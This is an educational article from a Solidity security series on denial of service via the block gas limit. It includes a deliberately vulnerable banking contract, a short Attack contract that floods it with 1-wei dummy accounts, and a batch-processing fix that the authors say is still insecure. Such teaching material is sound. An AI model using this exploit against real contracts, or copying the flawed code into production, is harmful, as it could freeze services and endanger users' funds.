Contents

Solidity Security By Example #10: Denial of Service With Gas Limit


Originally published in Valix Consulting’s Medium.

Smart contract security is one of the biggest impediments to the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Denial of service with gas limit is often caused by a lack of understanding of how the Ethereum Virtual Machine (EVM) works, resulting in the contract being exploited or the contract cannot operate expectedly.

This article will explain how a vulnerable smart contract can be attacked and how to prevent it. Enjoy reading. 😊

You can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/10_denial_of_service_with_gas_limit.

Disclaimer:

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production.

Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services. 🕵


Table of Contents


.    .    .

The Vulnerability


The below code presents the InsecureNaiveBank contract. This contract simulates a simple (and naive) on-chain banking system in which anyone can deposit their Ether funds to the contract via the depositFor function (lines 26–36).

The deposited Ethers can be withdrawn anytime by way of executing the withdraw function (lines 38–44).

The contract also implements the applyInterest function (lines 46–57) in which a banker can calculate compound interests for all depositors. The interest rate is fixed at 5% (line 4). 💰💰💰

Further, a banker can deposit Ether funds into the contract through the depositBankFunds function (lines 20–22).

Absolutely, the InsecureNaiveBank contract is vulnerable. Can you discover any issues? 👀

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
pragma solidity 0.8.19;

contract InsecureNaiveBank {
    uint256 public constant INTEREST_RATE = 5;  // 5% interest

    mapping (address => uint256) private userBalances;
    address[] private userAddresses;

    address public immutable owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "You are not the owner");
        _;
    }

    function depositBankFunds() external payable onlyOwner {
        require(msg.value > 0, "Require some funds");
    }

    // There is a double spending issue on the depositFor() function, 
    // but it is not the scope of this example though
    function depositFor(address _user) external payable {
        require(_user != address(0), "Do not support a zero address");
        require(msg.value > 0, "Require some funds");

        // Register new user
        if (userBalances[_user] == 0) {
            userAddresses.push(_user);
        }

        userBalances[_user] += msg.value;
    }

    function withdraw(uint256 _withdrawAmount) external {
        require(userBalances[msg.sender] >= _withdrawAmount, "Insufficient balance");
        userBalances[msg.sender] -= _withdrawAmount;

        (bool success, ) = msg.sender.call{value: _withdrawAmount}("");
        require(success, "Failed to send Ether");
    }

    function applyInterest() external onlyOwner returns (uint256 minBankBalanceRequired_) {
        for (uint256 i = 0; i < userAddresses.length; i++) {
            address user = userAddresses[i];
            uint256 balance = userBalances[user];

            // Update user's compound interest
            userBalances[user] = balance * (100 + INTEREST_RATE) / 100;

            // Calculate the minimum bank balance required to pay for each user
            minBankBalanceRequired_ += userBalances[user];
        }
    }

    function getBankBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }

    function getUserLength() external view returns (uint256) {
        return userAddresses.length;
    }
}
InsecureNaiveBank.sol


We would like to note that the InsecureNaiveBank contract got a double spending issue on the depositFor function.

But, it is not in the scope we will focus on in this article. Nevertheless, we will explain that double spending issue in our future article definitely. Please stay tuned!! 🤳


The InsecureNaiveBank contract got a design flaw in the applyInterest function (lines 46–57). Specifically, the applyInterest function iterates over all depositor accounts (lines 47–56) to calculate compound interest for each depositor (line 52).

However, suppose the number of depositor accounts is too large. In that case, the iteration can consume more gas than the block gas limit, permanently reverting the transaction when a banker calculates depositors’ compound interests. 😧

In other words, the InsecureNaiveBank contract would incur the unbounded denial-of-service (DoS) issue. Subsequently, the contract could not operate the banking services anymore. 😡

Two situations that can cause the unbounded denial-of-service issue to the InsecureNaiveBank contract:

  1. The number of depositor accounts grows over time due to the ordinary adoption

  2. The contract encounters a Sybil attack


Figure 1 below shows how an attacker executes a Sybil attack to freeze the interest calculation service of the InsecureNaiveBank contract permanently. 😈

Figure 1. How to freeze the interest calculation service permanently

Figure 1. How to freeze the interest calculation service permanently


The attack is straightforward. An attacker executes the depositFor function (Steps 1.1 and 1.2) to open a massive number of dummy accounts (Sybil) on the InsecureNaiveBank contract.

To open the dummy accounts, the attacker only spends 1 wei for each account.

Once the dummy accounts make the list of depositor accounts too large, a banker’s transaction to invoke the applyInterest function, for computing all depositors’ compound interests, would be reverted due to exceeding the block gas limit error (Step 2), eternally freezing the interest calculation service. 🤧


.    .    .

The Attack


The code below presents the Attack contract that an attacker can use to exploit the InsecureNaiveBank contract.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pragma solidity 0.8.19;

interface INaiveBank {
    function depositFor(address _user) external payable;
}

contract Attack {
    INaiveBank public immutable naiveBank;
    uint160 public dummyAccountCount;

    constructor(INaiveBank _naiveBank) {
        naiveBank = _naiveBank;
    }

    function openDummyAccounts(uint160 _noAccounts) external payable {
        require(msg.value == _noAccounts, "Invalid Ether amount");

        for (uint160 i = 0; i < _noAccounts; i++) {
            // Open a dummy account with the 1 wei deposit
            naiveBank.depositFor{value: 1}(address(++dummyAccountCount));
        }
    }
}
Attack.sol


To exploit the InsecureNaiveBank, an attacker executes the Attack.openDummyAccounts() function (lines 15–22).

An attacker can specify a large number of dummy accounts (along with supplying 1 wei for each account) they would like to register into the InsecureNaiveBank contract.

Figure 2. The attack result

Figure 2. The attack result


The result of the attack is shown in Figure 2. As you can see, the attacker could permanently freeze the interest calculation service of the InsecureNaiveBank contract by performing the Sybil attack.

The cost of the attack was very cheap. The attacker only spent 6,000 wei (+ the transaction gas) to register 6,000 dummy accounts to halt the InsecureNaiveBank contract’s banking services eternally. ☠️


.    .    .

The Solution


The below FixedNaiveBank contract is the improved version of the InsecureNaiveBank contract. 👨‍🔧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
pragma solidity 0.8.19;

// This contract demonstrates a simple batch processing for calculating users' compound interests.
// It is just a proof of concept of the batch processing only. 

// The contract still has a double spending issue via the depositFor() function, 
// but it is not the scope of this example though. Even an approach to calculating 
// the interests is still insecure.

// For this reason, please do not use this contract code in your production

contract FixedNaiveBank {
    uint256 public constant INTEREST_RATE = 5;  // 5% interest

    mapping (address => uint256) private userBalances;
    address[] private userAddresses;

    address public immutable owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "You are not the owner");
        _;
    }

    function depositBankFunds() external payable onlyOwner {
        require(msg.value > 0, "Require some funds");
    }

    // There is a double spending issue on the depositFor() function, 
    // but it is not the scope of this example though
    function depositFor(address _user) external payable {
        require(_user != address(0), "Do not support a zero address");
        require(msg.value > 0, "Require some funds");

        // Register new user
        if (userBalances[_user] == 0) {
            userAddresses.push(_user);
        }

        userBalances[_user] += msg.value;
    }

    function withdraw(uint256 _withdrawAmount) external {
        require(userBalances[msg.sender] >= _withdrawAmount, "Insufficient balance");
        userBalances[msg.sender] -= _withdrawAmount;

        (bool success, ) = msg.sender.call{value: _withdrawAmount}("");
        require(success, "Failed to send Ether");
    }

    // FIX: This function demonstrates a simple batch processing for calculating users' compound interests
    // It is just a proof of concept of the batch processing only and should not be used in production
    function batchApplyInterest(uint256 _beginUserID, uint256 _endUserID) 
        external onlyOwner returns (uint256 minBankBalanceRequiredThisBatch_) 
    {
        require(_beginUserID < userAddresses.length, "_beginUserID is out of range");
        require(_endUserID >= _beginUserID, "_endUserID must be more than or equal to _beginUserID");

        if (_endUserID >= userAddresses.length) {
            _endUserID = userAddresses.length - 1;
        }
        
        for (uint256 i = _beginUserID; i <= _endUserID; i++) {
            address user = userAddresses[i];
            uint256 balance = userBalances[user];

            // Update user's compound interest
            userBalances[user] = balance * (100 + INTEREST_RATE) / 100;

            // Calculate the minimum bank balance required (for this batch) to pay for each user
            minBankBalanceRequiredThisBatch_ += userBalances[user];
        }
    }

    function getBankBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }

    function getUserLength() external view returns (uint256) {
        return userAddresses.length;
    }
}
FixedNaiveBank.sol


To remediate the denial-of-service issue on the applyInterest function, we must redesign how to process the depositors’ interests. In lines 57–77 above, we introduce the batchApplyInterest function instead.

The batchApplyInterest function enables a banker to execute multiple transactions (batch processing) for computing all depositors’ compound interests.

This way, even if the number of depositor accounts is enormous, the interest calculation service of the FixedNaiveBank contract would no longer be frozen.

Note that:

Please do not use the FixedNaiveBank contract in your production. The FixedNaiveBank contract is just a proof of concept of the batch processing but it still implants several security issues.

Even the approaches to calculating the interests, or registering and tracking depositor accounts are still insecure.


.    .    .

Summary


In this article, you have learned how the improper design of a smart contract can lead to a denial-of-service (DoS) attack.

You have understood how an attacker exploits the vulnerable contract and how to fix the issue. That’s it for this article. See you in the next article.

Again, you can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/10_denial_of_service_with_gas_limit.


.    .    .

Author Details


Phuwanai Thummavet (serial-coder), Lead Blockchain Security Auditor and Consultant | Blockchain Architect and Developer.

See the author’s profile.


.    .    .

About Valix Consulting



Valix Consulting is a blockchain and smart contract security firm offering a wide range of cybersecurity consulting services. Our specialists, combined with technical expertise, industry knowledge, and support staff, strive to deliver consistently superior quality services.

For any business inquiries, please contact us via Twitter, Facebook, or info@valix.io.


.    .    .

Originally published in Valix Consulting’s Medium.